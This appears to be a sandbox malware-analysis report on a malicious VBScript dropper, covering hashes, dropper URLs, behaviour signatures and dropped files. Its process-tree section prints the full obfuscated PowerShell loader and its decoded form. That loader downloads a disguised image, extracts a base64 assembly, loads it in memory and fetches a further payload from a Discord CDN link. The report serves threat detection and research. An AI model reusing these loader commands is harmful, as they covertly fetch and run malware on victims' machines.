0bede06c4b670f1dff945866768c643ece0db8618cf042ffeeda9d88aad09880

General

Target

envifa.vbs
Size

151KB
MD5

64782d163bcd2fbbbf72bf768a4b57a4
SHA1

9feca15cae48fb30fc12cc241243e5294cf3b79f
SHA256

0bede06c4b670f1dff945866768c643ece0db8618cf042ffeeda9d88aad09880
SHA512

7c7b0c74fff9b480fd61b80903b8a8ed9a1124229e0922e286eb82146b630ecb95cc6b80fb24c72d72eed978dc1f6998e1d4f01f7806137b153692db17d0e033
SSDEEP

1536:sp9p9p9p9p9p9p9pu20WwCqPv3+NhlV9p9p9p9p9p9p9p9p5MTp9p9p9p9p9p9pL:d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/686/431/original/dll_vbe.jpg?1702073941

exe.dropper

https://uploaddeimagens.com.br/images/004/686/431/original/dll_vbe.jpg?1702073941

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

5 2860 powershell.exe
7 2860 powershell.exe
9 2860 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2164 powershell.exe
2860 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2164 powershell.exe
Token: SeDebugPrivilege 2860 powershell.exe

flow	pid	process
5	2860	powershell.exe
7	2860	powershell.exe
9	2860	powershell.exe

pid	process
2164	powershell.exe
2860	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1148 wrote to memory of 2164	1148	WScript.exe	powershell.exe
PID 1148 wrote to memory of 2164	1148	WScript.exe	powershell.exe
PID 1148 wrote to memory of 2164	1148	WScript.exe	powershell.exe
PID 2164 wrote to memory of 2860	2164	powershell.exe	powershell.exe
PID 2164 wrote to memory of 2860	2164	powershell.exe	powershell.exe
PID 2164 wrote to memory of 2860	2164	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDgDgTreNgDgTrevDgTreDQDgTreMwDgTrexDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTreZDgTreBsDgTreGwDgTreXwB2DgTreGIDgTreZQDgTreuDgTreGoDgTrecDgTreBnDgTreD8DgTreMQDgTre3DgTreDDgTreDgTreMgDgTrewDgTreDcDgTreMwDgTre5DgTreDQDgTreMQDgTrenDgTreDsDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTregDgTreD0DgTreIDgTreBODgTreGUDgTredwDgTretDgTreE8DgTreYgBqDgTreGUDgTreYwB0DgTreCDgTreDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBODgTreGUDgTredDgTreDgTreuDgTreFcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreLgBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFUDgTrecgBsDgTreCkDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBDDgTreGwDgTreYQBzDgTreHMDgTreTDgTreBpDgTreGIDgTrecgBhDgTreHIDgTreeQDgTrezDgTreC4DgTreQwBsDgTreGEDgTrecwBzDgTreDEDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreUgB1DgTreG4DgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTreJgBiDgTreDIDgTreMDgTreDgTrewDgTreDkDgTreMDgTreBkDgTreDcDgTreMwBjDgTreDgDgTreZDgTreBkDgTreGYDgTreMwDgTre4DgTreDkDgTreZDgTreBiDgTreGMDgTreNgDgTrexDgTreDQDgTreMwDgTre5DgTreDIDgTreYQDgTrezDgTreGIDgTreMDgTreDgTre5DgTreGYDgTreYQBhDgTreDQDgTreNQDgTrexDgTreDQDgTreZgDgTreyDgTreGYDgTreNgDgTre1DgTreDIDgTreMDgTreDgTre1DgTreGIDgTreNgBkDgTreGEDgTreOQBlDgTreDEDgTreMDgTreDgTre3DgTreDcDgTreYwDgTrewDgTreDcDgTreNwDgTreyDgTreGIDgTreNQBlDgTreD0DgTrebQBoDgTreCYDgTreMQDgTrezDgTreDcDgTreMwDgTre3DgTreDcDgTreNQDgTre2DgTreD0DgTrecwBpDgTreCYDgTreMQDgTrezDgTreGMDgTreYQDgTre5DgTreDgDgTreNQDgTre2DgTreD0DgTreeDgTreBlDgTreD8DgTredDgTreB4DgTreHQDgTreLgBpDgTreGkDgTreaQBpDgTreHMDgTrecwBvDgTreGMDgTrebQBlDgTreHIDgTreLwDgTrewDgTreDMDgTreNwDgTrezDgTreDIDgTreNDgTreDgTre2DgTreDMDgTreMgDgTre1DgTreDMDgTreOQDgTre1DgTreDDgTreDgTreODgTreDgTrezDgTreDgDgTreMQDgTrexDgTreC8DgTreNQDgTrezDgTreDkDgTreNDgTreDgTre0DgTreDQDgTreNwDgTrezDgTreDMDgTreMgDgTre3DgTreDYDgTreNQDgTrewDgTreDgDgTreMwDgTre4DgTreDEDgTreMQDgTrevDgTreHMDgTredDgTreBuDgTreGUDgTrebQBoDgTreGMDgTreYQB0DgTreHQDgTreYQDgTrevDgTreG0DgTrebwBjDgTreC4DgTrecDgTreBwDgTreGEDgTreZDgTreByDgTreG8DgTreYwBzDgTreGkDgTreZDgTreDgTreuDgTreG4DgTreZDgTreBjDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDIDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGcDgTrebwBvDgTreGcDgTrebDgTreBlDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTre0DgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCwDgTreIDgTreDgTrenDgTreGcDgTrebwBvDgTreGcDgTrebDgTreBlDgTreCcDgTreKQDgTrepDgTreDgTre==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/686/431/original/dll_vbe.jpg?1702073941';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('ClassLibrary3.Class1');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('&b20090d73c8ddf389dbc614392a3b09faa4514f2f65205b6da9e1077c0772b5e=mh&13737756=si&13ca9856=xe?txt.iiiissocmer/0373246325395083811/5394447332765083811/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '' , '2' , 'google' , '4' , 'C:\ProgramData\', 'google'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4C2F.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4E58.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
07b5e186066c03c094e92ae7faa409e7

SHA1
9277d12fd2510d3b128688732662a4c23c8b7fce

SHA256
02de3ed1008e483df26ca4d283d3721f9c7d9e491476d93dbf9a756a770dc7c3

SHA512
2cbca0779302960494620d178dae005ef0b5dc7a6c8d2ec9660418901b2d1698ff19c1015d3e11bcf93a246eee19f53db14cb8bb35affca9658f7d87bf20d761

Download Submit
memory/2164-5-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/2164-6-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2164-8-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2164-13-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2164-14-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2164-100-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2164-4-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2164-19-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2860-16-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2860-20-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2860-17-0x0000000002250000-0x00000000022D0000-memory.dmp

Filesize
512KB

Download
memory/2860-18-0x0000000002250000-0x00000000022D0000-memory.dmp

Filesize
512KB

Download
memory/2860-98-0x000000001B150000-0x000000001B15A000-memory.dmp

Filesize
40KB

Download
memory/2860-99-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2860-15-0x0000000002250000-0x00000000022D0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing